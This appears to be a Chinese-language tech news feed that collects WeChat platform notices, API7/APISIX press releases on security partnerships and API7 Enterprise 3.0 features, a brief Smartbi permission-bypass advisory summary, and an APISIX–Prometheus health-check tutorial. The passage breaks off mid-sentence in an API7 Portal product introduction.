GDA CTF应用方向：牛刀小试ONE 通过几个小案例讲解GDA在CTF方向的使用技巧，与修改思路

中秋及国庆假期期间微信支付商户审核安排通知

文章详细介绍了对应漏洞的执行过程，追根溯源地了解漏洞的逻辑和是怎么产生的，大佬勿喷，如有不足欢迎指出！！！

Smartbi是一款商业智能应用，提供了数据集成、分析、可视化等功能，帮助用户理解和使用他们的数据进行决策。Smartbi 存在权限绕过漏洞。未经授权的攻击者可利用该漏洞，修改 Token 回调地址。

微信小游戏IP合作平台上线

违反“小游戏用户运营规范”处罚公示

9月20日微信支付升级维护通知

<blockquote> <p>长亭科技与支流科技宣布达成战略合作，这次合作将为云原生 API 网关领域带来卓越的合作与创新，为用户提供更强大、更安全的解决方案。</p> </blockquote> <p>在当今数字化时代，网络安全成为了重中之重。为了应对不断增长的网络威胁和恶意攻击，支流科技和长亭科技展开了紧密的合作。双方强强联手，致力于为用户提供强大而综合的安全解决方案，以确保客户的业务连续性、数据完整性和用户隐私得到保障。</p> <p>支流科技致力于帮助用户做好 API 全生命周期管理，提供 API 网关、Kubernetes Ingress Controller、Service Mesh 等微服务和实时流量处理的产品和解决方案。长亭雷池 WAF 由智能语义分析算法驱动，能够检测并阻断具有恶意行为的 HTTP 请求，确保用户的应用程序和敏感数据的安全性。</p> <p><img src="https://static.apiseven.com/uploads/2023/09/15/Ohbq5s1g_%E6%94%AF%E6%B5%81%E7%A7%91%E6%8A%80x%E9%95%BF%E4%BA%AD%E7%A7%91%E6%8A%80.png" alt="API7 Cooperates with Chaitin Technology" referrerpolicy="no-referrer"></p> <p>双方都意识到，网络安全是一个持续演化的挑战，需要不断创新和适应。我们深信，通过这种前沿技术和紧密合作的努力，我们能够有效地应对不断演化的网络威胁，使客户的数字资产始终处于安全可靠的状态。</p> <p>此次合作不仅仅是技术层面上的合作，更是一种价值共享和共同成长的合作关系。双方通过经验交流和知识分享，相互促进创新和发展。这种合作模式不仅使支流科技能够提供高水平的安全解决方案，而且还为客户提供了更全面的支持和服务。</p> <h2>双方公司及产品介绍</h2> <h3>长亭科技</h3> <p><a href="https://www.chaitin.cn/zh/">长亭科技</a>是一家专注于网络安全领域的高科技公司，公司成立于 2014 年，由一群网络安全专家和研究人员组成，致力于提供先进的网络安全解决方案和服务。</p> <p>除了长亭雷池 WAF，长亭科技还提供其他安全解决方案和服务，包括主机安全、漏洞扫描、渗透测试和应急响应等。这些服务帮助企业建立全面的网络安全防护体系，提高其网络安全的抵御能力和响应能力。其客户群体涵盖了各行各业，包括政府机构、金融机构、电子商务、互联网企业等。公司以高质量的产品和优秀的技术支持赢得了客户的信任和好评。</p> <p><strong>雷池 Web 应用防火墙</strong>是长亭科技耗时近 10 年倾情打造的 WAF 系统，核心检测能力由智能语义分析算法驱动，具备 Web 攻击检测、Web 流量建模、动态防护、API 防护、Bot 防护、拟态防护等能力，以其便捷性、安全性、高性能、高可用等特性被业界广泛认可。</p> <h3>支流科技</h3> <p><a href="https://www.apiseven.com/">支流科技</a>是一家成立于 2019 年的 API 全生命周期管理公司，提供 API 网关、Kubernetes Ingress Controller、Service Mesh 等微服务和实时流量处理的产品和解决方案。支流科技致力于帮助用户做好 API 全生命周期管理，提供了全面高效的 API 设计、API 开发、API 门户、API 货币化解决方案，服务了包括 Zoom、爱奇艺、WPS、vivo、OPPO、Airwallex 等众多全球客户。</p> <p>支流科技将 API 网关 APISIX 开源并捐赠给 Apache 软件基金会，如今 Apache APISIX 是 GitHub 上最活跃的 API 网关项目，每天处理超过 1 万亿次 API 调用。在 Apache APISIX 基础之上，支流科技提供 API7 企业版及 API7 门户等企业级产品，满足企业用户的核心需求，包括多集群管理、多工作分区、权限管理、版本管理、审计、统计报表等企业级功能。</p> <p><strong>API7 企业版</strong> - 基于动态、实时、高性能的云原生 API 网关 APISIX 之上，具有云原生、高可用、协议转换、安全防护、性能极高、全动态能力、扩展能力强、治理能力丰富等技术亮点。API7 企业版允许企业方便地管理、保护和监控 API，并根据业务需求进行定制，灵活适应不同的应用场景。它可以部署在本地、多云和混合云场景下，提供了更多企业级功能，如多租户、RBAC、流量染色等。</p> <p><strong>API7 门户</strong> - 提供了一系列高效、安全和可靠的 API 管理和开发工具。通过 API7 门户，用户可以轻松管理和发布 API，提高 API 的可发现性和使用率，支持 API 测试和调试，促进 API 管理和版本控制，提高 API 的安全性和可靠性。此外，API7 门户还提供了一系列货币化功能，如 API 商店、计费和收费、分析和数据报告等，帮助企业实现 API 的货币化。</p> <h2>双方合作展望寄语</h2> <p>长亭科技产品 VP 李昌志表示：</p> <blockquote> <p>APISIX 项目在开源社区有着非常高的认可度，也是目前 Apache 基金会的明星项目。长亭和支流两家公司其实非常相似，在打造优秀社区项目的同时也提供了能力丰富的企业化版本，目前长亭雷池已经和 APISIX 深度打通，希望能助力 APISIX 为客户提供更加稳定、可靠、安全的 API 网关。</p> </blockquote> <p>支流科技 CTO 王院生表示：</p> <blockquote> <p>长亭科技是一家专注于网络安全和风险管理领域的技术公司，拥有强大技术实力和创新能力。支流科技与长亭科技一道，作为两个技术实力雄厚、价值观相符的公司，共同追求着同一个目标和愿景：通过技术创新来推动行业的进步，提升用户的满意度。我坚信，我们的共同努力将不断激发创新，为客户带来更多的价值。</p> </blockquote> <h2>结语</h2> <p>支流科技和长亭科技的合作不仅仅改善了用户的云原生 API 网关体验，同时也为整个网络安全领域注入了新的活力。这次战略合作的成功将成为行业的新标杆，推动云原生应用的安全发展。</p> <p>这次合作不仅仅是技术层面的整合，更是两家公司共同的努力和创新。支流科技和长亭科技的专业团队通过密切合作，共同研发和优化解决方案，以满足客户在云原生 API 网关安全方面的需求。他们的目标是通过提供高效的安全防护和流量管理，确保用户的应用程序和数据始终处于安全的状态。</p> <p>这次合作不仅为用户带来了更强大的安全性，还推动了云原生应用的安全发展。行业将以支流科技和长亭科技的合作为榜样，借鉴其成功经验，进一步加强云原生应用的安全性和可靠性。这将有助于构建一个更加安全和可信赖的数字化时代，为用户和企业提供更好的在线体验和数据保护。</p>

关于小程序隐私保护指引设置的再次公告

《游戏圈运营活动》广告金激励政策

小游戏地理位置接口调整

关于语音消息转文字能力下线的通知

微信支付的文档、工具升级，我们需要你的反馈！

<p>在当今数字化时代，软件和应用的持续发展对于企业来说至关重要。为了保持竞争力并满足不断变化的市场需求，<a href="https://api7.ai/enterprise">API7 企业版</a> 3.0 系列进行了全面升级。本次升级不仅带来了页面交互体验的全面提升，更在概念上进行了一次巨大的升级，将“服务（Service）”作为核心来管理资源。这一变革将极大地提升企业在资源管理和分发上的效率。</p> <p>API7 企业版 3.0 系列引入了 GraphQL 系列插件支持，这不仅为开发者提供了更灵活的数据查询方式，还使得数据的获取更加高效。其次，新增了<a href="https://www.apiseven.com/blog/api-7-enterprise-soap">对 SOAP 的支持</a>，为企业的现有应用集成带来了更多可能性。而<a href="https://www.apiseven.com/blog/api7-enterprise-traffic-labeling">流量染色</a>支持的加入，则为流量管理带来了更精细的控制，让企业能够更好地应对不同的使用场景。</p> <p>多环境发布的特性也是本次升级的一大亮点。企业在不同环境下的部署将变得更加轻松，有助于提高交付效率。此外，声明式 API 的引入使得 API 设计更加直观，开发者能够更快速地理解和使用 API。此外，token 管理功能的加入，不仅增强了安全性，也为身份验证和授权流程带来了更多便利。</p> <h2>已有功能强化升级</h2> <h3>页面交互体验更流畅</h3> <p>API7 企业版 3.0 系列聚焦页面交互体验的全面提升，使用户能够享受到更加流畅、直观和高效的界面。用户可以更轻松地与 API 进行交互，快速获得所需的信息和服务，从而提高工作效率并提升用户满意度。</p> <h3>核心管理资源更灵活</h3> <p>API7 企业版 3.0 系列在概念上进行了一次巨大的升级，将“服务（Service）”作为核心来管理资源。先有 Service，再有 Route 和 Upstream，更加贴近业务中的服务形态，方便统一管理和跨平台和发布部署、应用管理等系统集成。通过将服务作为中心，企业可以更加灵活地管理和调度资源，高效地响应用户需求并提供卓越的服务。</p> <h2>更新亮点：3.0 系列新功能一览</h2> <h3>支持 GraphQL 系列插件</h3> <p>API7 企业版新增对 <a href="https://docs.api7.ai/apisix/plugins/graphql-proxy-cache">graphql-limit-count</a> 和 <a href="https://docs.api7.ai/apisix/plugins/graphql-limit-count">graphql-proxy-cache</a> 插件的支持，能优化和改进 GraphQL API 的性能、资源利用和用户体验。</p> <ol> <li><strong>graphql-limit-count</strong>：</li> </ol> <ul> <li>控制数据量：该插件可以帮助限制从 GraphQL 查询返回的结果数量，能有效避免过度获取数据和保护服务器资源。</li> <li>防止滥用：通过限制结果数量，可以确保查询结果在可接受的范围内，同时防止恶意用户或错误查询导致服务器负载过高或消耗过多的资源。</li> </ul> <ol start="2"> <li><strong>graphql-proxy-cache</strong>：</li> </ol> <ul> <li>提高性能：该插件充当代理层，可以在代理层上缓存 GraphQL 请求的响应。当相同的请求被再次发送时，可以直接从缓存中返回响应，从而显著提高响应时间和整体性能。</li> <li>减轻负载：当大量相同的请求同时到达时，代理层可以直接返回缓存的响应，从而减少对后端服务器的负载和请求压力。</li> </ul> <h3>支持 SOAP</h3> <p><a href="https://zh.wikipedia.org/wiki/%E7%AE%80%E5%8D%95%E5%AF%B9%E8%B1%A1%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE">SOAP 协议</a>具有可靠性、安全性和可扩展性的特点。API7 企业版支持将普通 RESTful HTTP 请求转发给 soap-proxy 进程，从而实现 RESTful 请求到 SOAP 请求之间转换，无需对原有 SOAP 服务做任何改造。这使得企业能够轻松地将现有的 SOAP 服务与 API 网关进行集成，实现更高效、稳定的应用集成，让企业能够根据实际需求选择最合适的协议进行通信，并实现不同系统之间的互操作性。</p> <p><strong>使用 API7 SOAP 插件及代理的优势：</strong></p> <ul> <li>无需定义转换模板</li> <li>无需编写任何转换或耦合代码</li> <li>WSDL URL 可以绑定到任何路由，可以在运行时更新，无需重启，配置动态生效</li> <li>无需解析和配置 WSDL 文件，自动识别服务 URL（上游地址）并用作 SOAP 上游</li> </ul> <p>传统的代理方式，要么提供转换模板，要么编写转换代码，都需要用户深度分析 WSDL 文件，存在不可忽视的开发成本。然而，API7 企业版提供了一种自动化的方式，自动分析 WSDL 文件，自动为每个操作提供转换逻辑，为用户消除开发成本。通过 API7 企业版的自动转换功能，用户只需简单地配置 WSDL 的 URL，即可将现有的 SOAP 服务转换为 REST API。这个通用的程序不需要针对特定需求进行二次开发，可以适用于任何 Web 服务。由此一来，能为企业大大降低开发人员的工作量，并提高 API 开发的效率。</p> <h3>支持流量染色</h3> <p>流量染色是一种在 API 流量管理中广泛应用的技术，通过对流量进行精确的分类和标记，以便在后续的处理和分析中能够针对不同类型的流量做出不同的策略和决策。</p> <p><strong>流量染色有以下应用场景：</strong></p> <ol> <li>A/B 测试：通过对流量进行染色，将用户分成不同的群体，使其分别访问不同的版本或功能。这样可以评估和比较不同版本的效果，从而做出更好的决策。</li> <li>功能发布：在进行新功能发布时，可以通过流量染色将一部分用户导流至新功能，以评估其稳定性和用户体验。这有助于降低风险，确保新功能能够正常运行。</li> <li>性能优化：通过流量染色，可以将一部分流量引导到优化后的服务或基础设施上，以验证其性能改进效果。这有助于提高系统的响应能力和稳定性。</li> <li>故障排查：当系统出现故障或异常时，流量染色可以帮助将特定的用户流量路由到故障检测和排查的目标系统中，以更精确地分析和解决问题。</li> <li>个性化定制：通过流量染色，可以将用户流量分成不同的群体，并针对每个群体提供个性化的服务或内容。这有助于提高用户体验和满意度。</li> </ol> <p>API7 企业版 3.0 系列推出的“流量染色”插件，为 API 流量管理带来前所未有的控制力和灵活性，让您的企业能够通过精确的流量分类，实现性能的优化、用户体验的个性化，并通过准确的流量分析获取宝贵的见解。</p> <h3>支持多网关组发布</h3> <p>通常情况下，每个 API 都会经历开发、预发布和生产环境这几个主要阶段。对于 API 管理员而言，常见的 API 管理流程是首先新增 API，然后根据其生命周期逐步调整 API 的作用范围。但是实际应用场景更加复杂，例如已达到生产阶段但还存在过时的 API，或者某些公司具有严格的上线流程，还会有开发测试阶段。API7 企业版 3.0 系列提供多网关组发布功能，不同环境搭配不同的网关组作为流量入口，支持将一份配置发布到多个网关，配合业务进行多环境管理。</p> <p><strong>API7 企业版支持：</strong></p> <ul> <li> <p>网关组管理： 为不同业务环境创建多个网关组，每个网关组内包含多个网关实例。</p> </li> <li> <p>发布流程：发布到预生效的网关组。</p> </li> </ul> <p><strong>典型用户使用场景：</strong></p> <ul> <li>开发和测试环境隔离：用户可以将更新和配置只发布到相应的开发或测试环境，确保开发和测试之间的隔离性和独立性。</li> <li>多个生产环境支持：用户可以将更新和配置同时应用于多个网关，配合业务进行多环境管理，确保这些环境之间的一致性，并减少配置差异可能带来的问题。</li> <li>灰度发布和 A/B 测试：用户能在有限的环境中验证和评估功能的效果和性能，从而更好地决定是否将其应用于其他环境。</li> <li>版本管理和回滚：用户可以选择发布特定版本的 API 或应用程序到特定的环境，并在需要时快速回滚到之前的版本。这提供了更好的控制和灵活性，以确保系统稳定性和可靠性。</li> </ul> <h3>支持声明式 API 输入</h3> <p>API7 企业版支持声明式输入，无论 API7 企业版部署在任何平台（裸金属、K8s 或虚拟机）。允许企业用户通过声明式方式，完整管理内部 API。</p> <p><strong>为什么需要支持声明式输入：</strong></p> <ul> <li>简化配置和管理：自动生成，减少出错概率；通过“配置即代码”的方式管理 API，便于版本控制</li> <li>可视化分析和管理：标准化的结构和格式，让审查和监控更容易</li> <li>无需编码就能构建 API 并调整配置，提高团队开发效率和协作效率</li> <li>以业务需求为中心，降低对技术实现的依赖</li> </ul> <p><strong>典型用户使用场景：</strong></p> <ol> <li>按照 API7 企业版格式要求，提供 YAML 文件</li> <li>以命令行方式提交 YAML 文件到 API7 企业版服务</li> <li>通过虚拟机跨多个国家和地区配置网关，然后利用统一的控制面管理所有的网关，从而能在 CI/CD 流程中轻松地发布服务，确保高效的软件交付</li> </ol> <h3>支持 token 管理</h3> <p>API7 企业版新增对 token 管理的支持，从而加强对 API 的安全管理。</p> <p><strong>支持 token 管理的优势：</strong></p> <ol> <li>安全性：只有超级管理员可以查看和操作 token 页面，这意味着只有授权的人员可以生成、编辑和删除 token；同时 token 有效期一旦创建就不可更改，必须重新生成新的 token 来设置新的有效期，从而增加了系统的安全性。</li> <li>访问控制：通过 token 管理，可以根据角色设置 token 的权限，从而实现对不同用户或用户组的访问控制。</li> <li>有效期控制：token 管理允许设置 token 的过期时间。生成的 token 在设定的过期时间后会自动失效，这有助于及时收回访问权限，减少潜在的安全风险。</li> <li>管理灵活性：token 管理的功能包括生成新的 token、编辑 token 的名称和角色、重新生成 token 以及删除 token。这些功能帮助我们灵活管理 token，可以根据需要生成和管理多个 token，同时及时调整 token 的设置。</li> </ol> <h2>总结</h2> <p>作为 Apache APISIX 背后的商业化公司，<a href="https://www.apiseven.com/">支流科技</a>致力于支持 API 全生命周期管理。API7 企业版基于动态、实时、高性能的云原生 API 网关 APISIX 之上，提供 API 设计、API 开发、API 门户、API 货币化等更多领域的解决方案。API7 企业版可以部署在本地、多云和混合云场景下，提供了更多企业级功能，如多租户、RBAC、流量染色等。</p> <p>API7 企业版 3.0 系列的升级带来了全面的升级和创新特性，为企业用户提供了更多的机遇和竞争优势。无论是在满足市场需求、提升用户体验还是增强安全性方面，新版本都将为企业的可持续增长提供有力支持！</p>

8月25日微信支付升级维护通知

《2023微信小游戏开发者技术手册-设备兼容篇》首发

微信支付平台收付通相关协议修订公告

关于小程序隐私保护指引设置的公告

关于开展微信小程序备案的通知

微信支付相关协议修订公告

<p><img src="https://static.apiseven.com/uploads/2023/08/02/UstqduJN_%E5%A5%87%E5%AE%89%E4%BF%A11.png" alt="API7 Cooperates with QiAnXin" referrerpolicy="no-referrer"></p> <p>近日，<strong>奇安信与深圳支流科技宣布达成深度合作，各自旗下奇安信 API 安全卫士和支流科技 API7 企业版将形成API 联动安全方案，通过 API 生命周期管理 + API 安全监测分析一体化解决方案，为 API 业务提供便捷性与安全性，助力 API 安全生态建设，赋能企业数字化转型。</strong></p> <p>据介绍，此次合作在完善 API 全场景化解决方案矩阵，清晰化 API 全生命周期产品链条，提高 API 安全防护能力的同时，能够为用户提供完整高效的 API 管理方案，可及时发现并有效处理 API 安全风险，实时拦截恶意 API 请求，对企业敏感数据进行管控，保障企业用户的 API 数字资产，深度赋能企业用户的业务发展。</p> <p>在此基础上，双方将利用各自产品优势，全力推进 API 基础设施与安全一体化能力建设。在业务应用 API、数据共享 API、云服务 API 等多种场景实现解决方案融合，避免业务与安全的重复建设，实现原生、高效的 API 业务管理目标，推进 API 经济与生态高速发展。</p> <p><img src="https://static.apiseven.com/uploads/2023/08/02/R4TQuye2_%E5%A5%87%E5%AE%89%E4%BF%A12.png" alt="Technical Architecture of API7 and QiAnXin" referrerpolicy="no-referrer"></p> <h2>助力企业实现数字化转型</h2> <p>众所周知，全球企业在积极采用数字化优先战略，推动自身业务的发展。为了实现高效、低成本、高可扩展的“共享”必须要求新旧架构之间基于简单、标准化的接口进行互通。API 承担着不同复杂系统环境、组织机构之间的数据交互、数据传输的重任。</p> <p>与此同时，几乎所有的企业都已开始往云上迁移业务，云化、业务资源化、微服务化成为大趋势。 随着微服务的增多，API 接口数量也急剧增加，带来了新的暴露面和攻击面。由于 API 防护的缺失，组织对外暴露了哪些 API、API 对谁开放、API 通信中携带了哪些敏感数据、是否有异常访问等问题都未能得到妥善解决。而传统基于边界的防护模型已不能完全满足云原生中 API 的安全需求，因此，如何保障 API 安全，保护企业数据安全，助力企业成功实现数字化转型，成为各大企业的迫切需求之一。</p> <p>对此，API 安全联合方案将围绕 API 安全领域，在技术合作、信息资源共享、市场开发等方面展开。其中，<strong>奇安信 API 安全卫士可帮助用户实现 API 资产可视化、API 风险可视化、行为可视化、数据安全事件可视化。支流科技 API7 企业版在 API 全生命周期管理方面具有优秀的表现，可以帮助用户全面提升 API 的安全性和可靠性，降低企业面临的安全风险，为企业数字化转型提供更好的支持和保障。</strong></p> <p>API7 企业版作为连接客户端和服务端的网关，能够向 API 安全分析平台提供更多维的 API 服务数据，同时 API 安全卫士基于大数据分析能力为 API 通信提供可观测性及安全审计，并将安全防护策略动态回传 API7 企业版实现自动化安全防护。</p> <p>API 安全联合方案的形成，意味着双方将共同应对 API 安全面临的挑战，提高 API 安全解决方案的研发能力和市场竞争力，为客户提供更加全面、高效、智能的 API 安全治理解决方案。以数据安全建设为基础，以 API 安全建设为核心，结合双方优势资源在安全产品、安全服务等领域全面深化合作，共同推进 API 业务高质量发展，为我国建设网络强国和数字中国贡献力量。</p> <p>奇安信 API 安全卫士和支流科技 API7 企业版的合作，将大大提高 API 安全治理的效率和精度，降低 API 安全治理的成本和人力投入；将推动 API 安全治理在全生命周期的标准化和规范化，为整个行业建立起统一的 API 安全治理体系和标准，促进 API 安全治理的规范化和标准化，提高整个行业的 API 安全水平。</p> <p>未来，双方将一如既往，砥砺前行，共同探索 API 经济的多元生态，迎接未来数字化经济的新征途。</p>

《微信支付运营功能服务协议》修订公告

<p>API 健康检查是监控 API 整体健康状况的重要方法之一。健康检查能让您及时了解 API 的整体健康状况，并在早期识别出各项隐患。本文将探讨如何协同 <a href="https://apisix.apache.org/zh/">Apache APISIX</a> 和 <a href="https://prometheus.io/">Prometheus</a> 收集和分析<a href="https://apisix.apache.org/zh/docs/apisix/tutorials/health-check/">健康检查</a>的数据指标，从而帮助您更轻松地监控、诊断和解决 API 的相关问题。</p> <h2>为什么 API 健康检查很重要？</h2> <p>服务水平指标（SLI）是一种用于衡量服务性能的指标，通常用于衡量服务的可靠性、可用性、响应时间等，用于评估服务在一定时间内的表现。服务水平目标（SLO）是一种设定服务性能目标的方法，通常是根据业务需求和用户期望来设定的，例如：99.9% 的 API 请求应在 300 毫秒内完成。服务水平目标用于确保服务达到一定的性能水平，并评估团队的绩效和服务的可靠性。</p> <p>建立服务水平指标和服务水平目标已成为站点可靠性工程（<a href="https://aws.amazon.com/cn/what-is/sre/">SRE</a>）实践过程中不可或缺的重要环节，有助于团队为服务（如网站或应用程序）的运行状况设定明确的目标并开展实践。这些目标可以针对内部服务（如公司内部应用程序使用的 API），也可以针对客户使用的公共产品。建立服务水平指标和服务水平目标为团队提供了可量化的系统性能管理方法。</p> <p><a href="https://github.com/apache/apisix">APISIX</a> 位于 API 基础架构的前端，在衡量服务水平指标和服务水平目标方面发挥着重要作用。在复杂的分布式架构中，您无需考虑哪些指标值得测量以及应当如何测量它们。APISIX 可以自动跟踪所有必要的指标，例如 API 上游服务的延迟、失败请求和吞吐量等。APISIX 可以对后端服务进行健康检查，以确保 API 可以正常处理请求，并在风险还未发展成问题时向负责团队发出警报，从而最大限度地减少停机时间，提高系统可靠性。</p> <h2>API 网关的健康检查是如何进行的?</h2> <p>一般而言，激活 API 的健康检查的过程是比较容易的。每个服务只需要一个指定的用于进行健康检查的 API 端点（<code>/health</code>）。借助此端点，您可以检查与该服务联系最紧密的指标，如内存使用率、数据库连接性、响应持续时间等。您可以使用 Prometheus 和 Grafana 等观测工具对结果进行可视化，并利用警报系统对检测到的潜在风险进行预警。</p> <p>APISIX 的好处之一在于它能让配置可观察性工具的过程变得更加简单，并且适用于多个服务。APISIX 会定期向其管理的后端服务（也称为上游节点）发送请求。如果返回的是健康状态（HTTP 状态代码通常为 <code>200 OK</code> ），则认为该服务是健康的。在评估服务是否为健康状态时，响应时间也是评估过程中应该关注的重要指标——响应时间过长表明服务可能存在潜在问题。如果服务未能在指定时间内响应或返回的状态为错误状态，则将其标记为不健康。APISIX 会将流量从不健康的服务路由到健康的服务，以防止应用程序出错或速度变慢。如果您想了解启用健康检查的详细步骤，请点击<a href="https://apisix.apache.org/zh/docs/apisix/tutorials/health-check/">此处</a>。</p> <h2>如何使用 APISIX 的 Prometheus 插件收集健康检查数据？</h2> <p>APISIX 通过集成 <a href="https://apisix.apache.org/docs/apisix/plugins/prometheus/">Prometheus 插件</a>，提供了一种有效的方法，来获取 API 指标，包括与上游节点健康状况相关的指标。工作原理如下所示：</p> <ol> <li>激活 APISIX Prometheus 插件后（想了解具体激活方法，请点击<a href="https://apisix.apache.org/zh/docs/apisix/plugins/prometheus/#%E5%90%AF%E7%94%A8%E6%8F%92%E4%BB%B6">此处</a>），它会公开一个指标 URL，通常为 <code>/apisix/prometheus/metrics</code>。您还可以在 <code>conf/config.yaml</code> 文件中进行配置，配置支持自定义导出 URI、添加额外标签、调整爬取频率和其他参数等操作。</li> </ol> <pre><code class="language-yaml"> plugin_attr: prometheus: export_uri: /metrics </code></pre> <ol start="2"> <li> <p>Prometheus 会在特定的时间间隔内从该 URL 中获取信息，收集与各种性能参数相关的时间序列数据，例如请求次数、请求延迟、上游延迟和状态码。</p> </li> <li> <p>在 APISIX 3.3.0 版本中，我们推出了 Prometheus 自定义指标功能，允许您公开更精细的 API 指标数据。该机制允许 APISIX 定期检查上游节点是否健康，并相应地调整路由。这有助于避免故障的发生并提高系统的可靠性，对于任何基于 API 的基础设施都至关重要。这些健康检查的结果都会被纳入 Prometheus 插件公开的指标中，以提供更加全面的 API 性能实时视图。您只需向 APISIX 的 <code>/metrics</code> 端点发送一个简单的请求，就可以观察到所有收集到的监控数据和上游节点的健康检查结果。</p> </li> </ol> <pre><code class="language-bash"> curl &lt;http://127.0.0.1:9091/metrics&gt; ... # HELP apisix_upstream_status Upstream status from health check # TYPE apisix_upstream_status gauge apisix_upstream_status{name="/apisix/upstreams/1",ip="172.27.0.5",port="443"} 0 apisix_upstream_status{name="/apisix/upstreams/1",ip="172.27.0.5",port="80"} 1 apisix_upstream_status{name="/apisix/upstreams/1",ip="172.27.0.7",port="443"} 0 apisix_upstream_status{name="/apisix/upstreams/1",ip="172.27.0.7",port="80"} 1 </code></pre> <blockquote> <p>其中，数值 1 表示健康，0 表示上游节点不健康。</p> </blockquote> <ol start="4"> <li>您还可以在 Prometheus 面板上查看上游节点健康检查状态的输出结果：</li> </ol> <p><img src="https://static.apiseven.com/uploads/2023/07/20/OGBtqbDq_output.png" alt="APISIX Prometheus plugin on dashboard" referrerpolicy="no-referrer"></p> <ol start="5"> <li>APISIX Prometheus 插件可自动连接 <a href="https://grafana.com/">Grafana</a>并可视化这些指标。</li> </ol> <p>同时，传输层的可观察性可以让我们深入了解基础架构中的服务之间是如何传输数据的，这对于诊断问题和优化性能至关重要。因此，您还可以启用 Prometheus 为 TCP/UDP <a href="https://apisix.apache.org/zh/docs/apisix/plugins/prometheus/#%E5%8F%AF%E7%94%A8%E7%9A%84-http-%E6%8C%87%E6%A0%87">收集指标</a>。</p> <h2>如何在 Prometheus 插件上进行定制？</h2> <p>在 APISIX 中，Prometheus 插件默认公开了几个指标。这些指标是可配置的，插件可根据具体要求进行扩展。如果您有关于 API 健康检查和插件配置的任何问题，<a href="https://api7.ai/">API7.ai</a> 团队随时准备为您解答。我们的工程师正在积极鼓励新用户的加入，帮助他们根据自身需要修改 APISIX 的默认配置。</p> <h3>应用案例：快餐巨头通过 APISIX 和 Prometheus 集成改善服务器健康监控</h3> <p>假设有一家拥有数千家分店的全球领先的快餐公司，该公司采用双活架构。他们的目标是确保所有服务器或数据中心都能实时分担工作负载，且不会发生服务中断。</p> <p>该公司的技术团队已经实现了服务器或数据中心之间的自动化切换。然而，有时服务器之间的业务流量会发生变化，从而导致负载分布不均：一些服务器负载过重，而另一些服务器的流量较小，运行效率也会因此而降低。在高峰期，这样的问题会导致服务器崩溃和服务中断，对公司的正常运营造成了极大的威胁。</p> <p>APISIX 支持持续监控上游服务器和数据中心的健康状况，并根据服务器的健康状况自动切换流量。如果某个服务器的状态被界定为不健康，系统就会自动切换到另一个健康的服务器，以维持不间断的服务。在流量异常小或异常大而服务器无法处理的特定情况下，Prometheus 的警报机制会进行预警。这有利于该公司的运营团队主动监控服务器的健康状态、流量负载和其他关键指标。</p> <h2>总结</h2> <p>APISIX 和 Prometheus 的集成可以帮助您快捷地获取健康检查数据指标，从而显著改善您的 API 指标生态系统，让您更深入地了解 API 的健康状况。这对于提升运营效率、提高客户满意度和增加业务收入无疑是十分有益的。因此，如果您希望改善您的 API 指标生态系统，APISIX 和 Prometheus 集成所展现出的巨大优势可以为您的 API 健康保驾护航。</p>

<h2>API7 Portal 产品简介</h2> <p>API Portal （API 门户）是一个提供 API 相关信息的网站或平台。它充当 API Providers（提供方）和 API Developers（开发者） 之间的桥梁，为开发者提供了一个集中获取 API 文档、规范、代码示例等信息的地方，使其能够更方便地理解和使用 API。</p> <p>API Portal 非常重要，尤其是在将 API 作为产品进行管理的情况下。它就像是一个线上商店，你可以在上面发布和推广 API，同时提供信息，比如用途、如何使用、价格等。其他开发人员能轻松地发现、订阅和使用你的 API。</p> <p>借助 API7 Portal，你能在数分钟内与 API 管理平台集成，并将 API 发布到所有开发者可见的地方，还能对其进行自定义，例如添加文档或演示，配置门户访问权限等。所有的数据都安全地存储在我们的平台上，确保为您和您的客户提供安全可靠的体验。</p> <p>简洁易用，定制灵活，保护您的数据，畅享安心 API 之旅！</p> <h2>探索 API7 Portal 的重要作用</h2> <p>从企业安全管控角度来看，在 API Portal 出现之前，企业往往容易忽视 API 存在的安全问题，从而导致 API 成为黑客攻击的目标。因而企业需要加强对 API 的安全管控，提高对 API 安全风险的意识。</p> <p>从开发人员的角度来看，开发者需要在各个渠道和资源中查找和获取与 API 相关的信息和文档。缺乏集中的开发者资源导致开发者获取和使用 API 的效率低下，增加了开发的困难性和复杂性。另外，在 API 管理和发布过程中，也需要合适的工具和平台减轻 API 提供者的工作负担和复杂度。为解决上述痛点，API7 Portal 应运而生。</p> <p><strong>API7 Portal 的重要性体现在以下几个方面：</strong></p> <p><img src="https://static.apiseven.com/uploads/2023/07/24/kq9wTJiJ_API7%20Portal%201.png" alt="API7 Portal Supports API Monetization" referrerpolicy="no-referrer"></p> <ol> <li> <p><strong>提供集中化的信息</strong>：API Portal 作为一个集中的平台，提供与 API 相关的重要信息。它为开发者提供方便获取的文档、规范、代码示例等，使他们能够方便地理解和集成 API。</p> </li> <li> <p><strong>仅需几分钟，将您的 API 货币化</strong>：API7 Portal 通过为组织提供必要的工具、功能和见解来有效管理其 API，从而实现 API 货币化。 通过以用户为中心的设计和全面的 API 管理生态系统，API7 Portal 使企业能够释放其 API 的全部潜力，创造可持续的收入流并促进其数字生态系统的增长。</p> </li> <li> <p><strong>促进协作与沟通，降低成本</strong>：API Portal 促进 API 提供者和使用者之间的有效协作与沟通。它为 API 提供者提供管理和发布 API 的平台，同时允许使用者发现、订阅和管理其 API 的使用。有效的文档和支持资源使开发者能够自助解决常见问题，减少对直接支持的需求，还节省了与吸纳新开发者或合作伙伴相关的时间和成本。</p> </li> <li> <p><strong>有助于API 生命周期管理</strong>：API Portal 在管理 API 的整个生命周期中发挥重要作用。它帮助开发者进行入门操作，并提供自助服务功能，用于订阅管理和 API 密钥生成。同时还使 API 提供者能够监控 API 的使用情况，跟踪分析数据，并实施更新或废弃 API。</p> </li> <li> <p><strong>提升开发者体验</strong>：API Portal 对开发者体验有重要影响，提供用户友好的界面、结构化的文档、代码示例、教程和其他资源。良好的开发者体验促进 API 的采用，鼓励开发者使用 API 创造创新应用，并加强 API 提供者和开发者之间的良好关系。</p> </li> </ol> <h2>API7 Portal 如何打造高效 API 开发</h2> <p>API7 Portal 是一个专业且功能丰富的工具，不仅为 API 提供方提供了一个集中管理 API 的平台，也能帮助开发人员快速启动和轻松上手使用各种 API 功能。它之所以能成为开发者最好的盟友，主要有以下几个原因。</p> <h3>开箱即用，轻松上手</h3> <p>有了 API7 Portal，使用 API 变得更简单。因为 API7 Portal 提供了详细的注册指导，能帮助开发人员迅速创建和配置 API 账号，因而开发人员无需费时费力地了解复杂的注册流程，即可开始使用 API。</p> <p>开发人员可以通过 API7 Portal 查阅 API 的详细文档，了解每个 API 端点的功能和参数要求。API7 Portal 